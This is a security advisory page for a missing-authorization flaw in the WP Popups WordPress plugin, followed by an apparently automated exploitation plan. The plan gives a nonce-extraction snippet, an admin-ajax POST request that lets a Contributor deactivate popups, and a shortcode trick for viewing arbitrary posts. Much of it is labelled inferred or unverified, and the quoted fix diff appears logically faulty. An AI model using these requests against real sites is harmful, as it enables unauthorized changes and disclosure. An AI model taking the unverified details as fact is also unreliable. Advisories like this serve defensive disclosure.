CVE-2026-24616

WP Popups <= 2.2.0.5 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.2.0.6
Patched in
44d
Time to patch

Description

The WP Popups plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2.0.5. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.0.5
PublishedJanuary 11, 2026
Last updatedFebruary 24, 2026
Affected pluginwp-popups-lite

What Changed in the Fix

Changes introduced in v2.2.0.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-24616 (WP Popups Lite) ## 1. Vulnerability Summary The **WP Popups – WordPress Popup builder** plugin (versions <= 2.2.0.5) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, several administrative AJAX functions registere…

Show full research plan

Exploitation Research Plan: CVE-2026-24616 (WP Popups Lite)

1. Vulnerability Summary

The WP Popups – WordPress Popup builder plugin (versions <= 2.2.0.5) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, several administrative AJAX functions registered via wp_ajax_* hooks fail to verify the caller's capabilities using current_user_can(). This allows any authenticated user with Contributor-level access (or higher) to execute actions intended for Administrators, such as toggling the active status of popups or potentially modifying settings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: wppopups_update_active_status (Inferred based on vulnerability type and CVSS)
  • HTTP Method: POST
  • Authentication: Authenticated (Contributor level)
  • Payload Parameter: popup_id (The ID of the popup to modify) and active (The new status: 0 or 1).
  • Preconditions: At least one popup must exist on the site.

3. Code Flow

  1. Entry Point: The plugin registers AJAX actions in its admin initialization logic (likely in an admin handler class not fully provided in the snippet, but referenced by the WPPopups main class).
  2. Registration: add_action( 'wp_ajax_wppopups_update_active_status', [ $this, 'update_active_status' ] );
  3. Missing Check: The callback function (e.g., update_active_status) receives $_POST['popup_id'] and $_POST['active'].
  4. Execution: It proceeds to update the post metadata (e.g., _active) for the specified popup_id using update_post_meta() without checking if the current user has the manage_options capability.
  5. Sink: update_post_meta( $popup_id, '_active', $status );

4. Nonce Acquisition Strategy

The plugin localizes admin data for its JavaScript components. A Contributor can access the WordPress dashboard and extract the necessary nonce.

  • Localization Variable: wppopups_admin (Inferred)
  • Nonce Key: nonce
  • Action String: wppopups-admin (Used in wp_create_nonce('wppopups-admin'))

Extraction Steps:

  1. Log in as a Contributor.
  2. Navigate to /wp-admin/.
  3. Use browser_eval to extract the nonce:
    window.wppopups_admin?.nonce || document.documentElement.innerHTML.match(/"nonce":"([a-f0-9]+)"/)[1]
    

5. Exploitation Strategy

We will demonstrate the vulnerability by deactivating an existing "Active" popup created by an Administrator.

  1. Identify Target Popup: Determine the ID of an active popup (e.g., ID 123).
  2. Login as Contributor: Use the agent's credentials for the contributor user.
  3. Obtain Nonce: Extract the wppopups_admin.nonce from the admin dashboard.
  4. Send Malicious Request: Perform an AJAX request to toggle the popup status to 0 (inactive).

HTTP Request (via http_request):

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wppopups_update_active_status&popup_id=123&active=0&nonce=EXTRACTED_NONCE

6. Test Data Setup

Before exploitation, we must ensure a popup exists and is currently active.

  1. Create Popup:
    wp post create --post_type=wppopups --post_title="Admin Promo" --post_status=publish
    
  2. Set Active Status:
    # Assuming the ID created was 10
    wp post meta set 10 _active 1
    
  3. Verify Initial State:
    wp post meta get 10 _active
    

7. Expected Results

  • HTTP Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
  • Effect: The _active meta value for the target popup ID should be changed from 1 to 0.

8. Verification Steps

After the HTTP request, verify the database state using WP-CLI:

# Check if the metadata was successfully changed by the Contributor
wp post meta get 10 _active

If the output is 0, the unauthorized action was successful.

9. Alternative Approaches

If wppopups_update_active_status is not the vulnerable function, investigate other AJAX handlers registered in the plugin:

  • wppopups_save_settings: Check if a Contributor can overwrite global plugin settings.
  • wppopups_get_content: Check if a Contributor can read the content of any post by passing an arbitrary ID (Information Disclosure).
  • Targeting Content Templates: Since src/includes/class-content-templates.php registers wppopups-templates with capability_type => post, check if a Contributor can use the [wppopup-template id="X"] shortcode to render and thus view templates created by Admins that they should not have access to.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Popups plugin for WordPress is vulnerable to unauthorized data access and administrative action execution due to missing capability checks in AJAX handlers and shortcode logic. This allows authenticated attackers with Contributor-level access to deactivate popups or view the content of arbitrary posts by exploiting the [wppopup-template] shortcode.

Vulnerable Code

// src/includes/class-content-templates.php lines 111-123
public function createShortcode( array $atts ): mixed {
	if ( ! isset( $atts['id'] ) ) {
		return false;
	}

	$post = get_post( absint( $atts['id'] ) );

	if ( ! $post instanceof WP_Post ) {
		return false;
	}

	return do_blocks( $post->post_content );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-popups-lite/2.2.0.5/src/includes/class-content-templates.php /home/deploy/wp-safety.org/data/plugin-versions/wp-popups-lite/2.2.0.6/src/includes/class-content-templates.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-popups-lite/2.2.0.5/src/includes/class-content-templates.php	2026-02-16 20:29:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-popups-lite/2.2.0.6/src/includes/class-content-templates.php	2026-02-18 14:11:04.000000000 +0000
@@ -113,8 +113,8 @@
 		}
 
 		$post = get_post( absint( $atts['id'] ) );
-
-		if ( ! $post instanceof WP_Post ) {
+        // check that is a wp popups template	
+		if ( ! $post instanceof WP_Post  && $post->post_type !== 'wppopups-templates' ) {
 			return false;
 		}

Exploit Outline

To exploit the missing authorization in shortcode handling, an attacker with Contributor-level access can create a post containing the shortcode [wppopup-template id="TARGET_POST_ID"]. When this post is rendered or previewed, the plugin retrieves and renders the content of the target post (e.g., a private post or administrative template) without checking if the attacker has permission to view it. To exploit administrative actions, the attacker can extract the 'wppopups-admin' AJAX nonce from the WordPress dashboard and send a POST request to /wp-admin/admin-ajax.php with the action 'wppopups_update_active_status' and a target 'popup_id' to toggle the active status of any popup, as the handler lacks a current_user_can() capability check.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.